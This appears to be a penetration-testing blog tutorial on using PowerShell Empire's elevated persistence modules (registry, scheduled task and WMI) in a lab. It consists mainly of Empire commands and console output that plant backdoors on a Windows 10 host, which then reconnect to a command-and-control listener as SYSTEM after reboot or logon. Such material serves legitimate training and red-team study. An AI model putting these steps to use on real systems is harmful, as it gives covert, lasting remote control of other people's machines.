Windows Persistence with PowerShell Empire

March 3, 2019 By Raj Chandel

This is the third article in our empire series, through this we will learn elevated persistence methods. Its trigger method is pretty organised with storage options contained within each module.

In Empire, the elevated persistence modules use trigger method and different storage options are required in different modules. All of these persistence modules are based on PowerSploit's persistence. As these are elevated persistence, it requires you to have admin access to work as intended. They have different setting options in them including cleanup, etc., for instance, the CleanUp option will set delete your backdoor and set the machine back to its original state.

The registry methods in gaining persistence are one of the oldest methods which use the HKLM version to trigger our payload into the system. Couple of persistence that we will show in our article will have schtasks as an option. This option makes the module a bit trickier as it sets the payload to be triggered on either DailyTime i.e. any given time or using OnLogon option which triggers the payload user is logged on. The Onlogon option does not display a prompt and runs as SYSTEM.

The WMI module is mostly the go-to persistence method. It lets you add a permanent WMI payload at either DailyTime (i.e. at a certain time) or at startup. This module to runs as SYSTEM and it doesn't depend on the user being logged in.

The modules of persistence that we are going to show in our article are as follows :

- Persistence/elevated/registry
- Persistence/elevated/schtask
- Persistence/elevated/wmi

Firstly, we have to have an elevated session (session with admin rights) through the empire. To know how to get the said session click here. As you can see in the image high integrity is set to 1 that means we have admin privileges. Now, we will use the first persistence module listed above and for this use the following commands :

```
usemodule persistence/elevated/registry*
set Listener http
execute
```

```
(Empire: admin) > sysinfo
[*] Tasked 7RSWM8K4 to run TASK_SYSINFO
[*] Agent 7RSWM8K4 tasked with task ID 1
(Empire: admin) > sysinfo: 0|http://192.168.1.107:80|DESKTOP-2KSCK6B|raj|DESKTOP-2KSCK6B|192.1
[*] Agent 7RSWM8K4 returned results.
Listener:         http://192.168.1.107:80
Internal IP:      192.168.1.104
Username:         DESKTOP-2KSCK6B\raj
Hostname:         DESKTOP-2KSCK6B
OS:               Microsoft Windows 10 Enterprise
High Integrity:   1
Process Name:     powershell
Process ID:       5052
Language:         powershell
Language Version: 5

[*] Valid results returned by 192.168.1.104

(Empire: admin) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener http
(Empire: powershell/persistence/elevated/registry) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked 7RSWM8K4 to run TASK_CMD_WAIT
[*] Agent 7RSWM8K4 tasked with task ID 2
[*] Tasked agent admin to run module powershell/persistence/elevated/registry
(Empire: powershell/persistence/elevated/registry) > [*] Agent 7RSWM8K4 returned results.
Registry persistence established using listener http stored in HKLM:SOFTWARE\Microsoft\Windows
[*] Valid results returned by 192.168.1.104
```

Once the above module is executed and when the target machine is restarted, you will again automatically have your session. As shown in the image below :

```
[*] Sending POWERSHELL stager (stage 1) to 192.168.1.104
[*] New agent 3TPXNYGM checked in
[+] Initial agent 3TPXNYGM from 192.168.1.104 now active (Slack)
[*] Sending agent (stage 2) to 3TPXNYGM at 192.168.1.104

(Empire: powershell/persistence/elevated/registry) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process           PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------           ---    -----    ---------
 9DRY6C1T ps 192.168.1.104   DESKTOP-2KSCK6B   DESKTOP-2KSCK6B\raj     powershell        4600   5/0.0    2019-02-23 10:45:20
 admin    ps 192.168.1.104   DESKTOP-2KSCK6B   *DESKTOP-2KSCK6B\raj    powershell        5052   5/0.0    2019-02-23 10:45:17
 3TPXNYGM ps 192.168.1.104   DESKTOP-2KSCK6B   DESKTOP-2KSCK6B\raj     powershell        4172   5/0.0    2019-02-23 10:46:29


(Empire: agents) > interact 3TPXNYGM
(Empire: 3TPXNYGM) > sysinfo
[*] Tasked 3TPXNYGM to run TASK_SYSINFO
[*] Agent 3TPXNYGM tasked with task ID 1
(Empire: 3TPXNYGM) > sysinfo: 0|http://192.168.1.107:80|DESKTOP-2KSCK6B|raj|DESKTOP-2KSCK6B|192.168.1.104|Microsoft Windows 10 Ente
[*] Agent 3TPXNYGM returned results.
Listener:         http://192.168.1.107:80
Internal IP:      192.168.1.104
Username:         DESKTOP-2KSCK6B\raj
Hostname:         DESKTOP-2KSCK6B
OS:               Microsoft Windows 10 Enterprise
High Integrity:   0
Process Name:     powershell
Process ID:       4172
Language:         powershell
Language Version: 5

[*] Valid results returned by 192.168.1.104
```

Our next module is persistence/elevated/schtasks, this is a bit different from the previous one as in this we can set a certain time on which we want to gain our session. Again after having a session with administrator privileges, we

will use the following set of commands to activate the said persistence module :

```
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
```

```
(Empire: RMSFX5ZH) > usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) > set OnLogon True
(Empire: powershell/persistence/elevated/schtasks) > set Listener http
(Empire: powershell/persistence/elevated/schtasks) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked RMSFX5ZH to run TASK_CMD_WAIT
[*] Agent RMSFX5ZH tasked with task ID 1
[*] Tasked agent RMSFX5ZH to run module powershell/persistence/elevated/schtasks
(Empire: powershell/persistence/elevated/schtasks) > [*] Agent RMSFX5ZH returned results.
SUCCESS: The scheduled task "Updater" has successfully been created.
Schtasks persistence established using listener http stored in HKLM:\Software\Microsoft\Network\debug
[*] Valid results returned by 192.168.1.104
```

Due to OnLogon option, your session will return to you once the user logs on to their system, refer the following image for the same :

```
(Empire: powershell/persistence/elevated/schtasks) > [*] Sending POWERSHELL stager (stage 1) to 192.168.1.104
[*] New agent SLEZG43N checked in
[+] Initial agent SLEZG43N from 192.168.1.104 now active (Slack)
[*] Sending agent (stage 2) to SLEZG43N at 192.168.1.104

(Empire: powershell/persistence/elevated/schtasks) > interact SLEZG43N
(Empire: SLEZG43N) > sysinfo
[*] Tasked SLEZG43N to run TASK_SYSINFO
[*] Agent SLEZG43N tasked with task ID 1
(Empire: SLEZG43N) > sysinfo: 0|http://192.168.1.107:80|WORKGROUP|SYSTEM|DESKTOP-2KSCK6B|192.168.1.104|Microso
[*] Agent SLEZG43N returned results.
Listener:         http://192.168.1.107:80
Internal IP:      192.168.1.104
Username:         WORKGROUP\SYSTEM
Hostname:         DESKTOP-2KSCK6B
OS:               Microsoft Windows 10 Enterprise
High Integrity:   1
Process Name:     powershell
Process ID:       2904
Language:         powershell
Language Version: 5

[*] Valid results returned by 192.168.1.104
```

Lastly, we will use the persistence/elevated/wmi module and to use it, type the following set of commands :

```
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
```

```
(Empire: HBZAU1SR) > usemodule persistence/elevated/wmi*
(Empire: powershell/persistence/elevated/wmi) > set Listener http
(Empire: powershell/persistence/elevated/wmi) > set AtStartup True
(Empire: powershell/persistence/elevated/wmi) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked HBZAU1SR to run TASK_CMD_WAIT
[*] Agent HBZAU1SR tasked with task ID 1
[*] Tasked agent HBZAU1SR to run module powershell/persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > [*] Agent HBZAU1SR returned results.
WMI persistence established using listener http with OnStartup WMI subsubscription trigger.
```

As we have set the startup option true, you will have your session as soon as the target machine starts up just like its shown in the image below :

```
[*] Valid results returned by 192.168.1.104
[*] Sending POWERSHELL stager (stage 1) to 192.168.1.104
[*] New agent 3YCK1VBT checked in
[+] Initial agent 3YCK1VBT from 192.168.1.104 now active (Slack)
[*] Sending agent (stage 2) to 3YCK1VBT at 192.168.1.104

(Empire: powershell/persistence/elevated/wmi) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username               Process           PID    Delay    Last Seen
 ----     -- -----------     ------------      --------               -------           ---    -----    ---------
 UY34H216 ps 192.168.1.104   DESKTOP-2KSCK6B   DESKTOP-2KSCK6B\raj    powershell        5032   5/0.0    2019-02-23 11:41:38
 HBZAU1SR ps 192.168.1.104   DESKTOP-2KSCK6B   *DESKTOP-2KSCK6B\raj   powershell        4444   5/0.0    2019-02-23 11:41:39
 3YCK1VBT ps 192.168.1.104   DESKTOP-2KSCK6B   *WORKGROUP\SYSTEM      powershell        4032   5/0.0    2019-02-23 11:46:27


(Empire: agents) > interact 3YCK1VBT
(Empire: 3YCK1VBT) > sysinfo
[*] Tasked 3YCK1VBT to run TASK_SYSINFO
[*] Agent 3YCK1VBT tasked with task ID 1
(Empire: 3YCK1VBT) > sysinfo: 0|http://192.168.1.107:80|WORKGROUP|SYSTEM|DESKTOP-2KSCK6B|192.168.1.104|Microsoft Windows 10 Ent
[*] Agent 3YCK1VBT returned results.
Listener:         http://192.168.1.107:80
Internal IP:      192.168.1.104
Username:         WORKGROUP\SYSTEM
Hostname:         DESKTOP-2KSCK6B
OS:               Microsoft Windows 10 Enterprise
High Integrity:   1
Process Name:     powershell
Process ID:       4032
Language:         powershell
```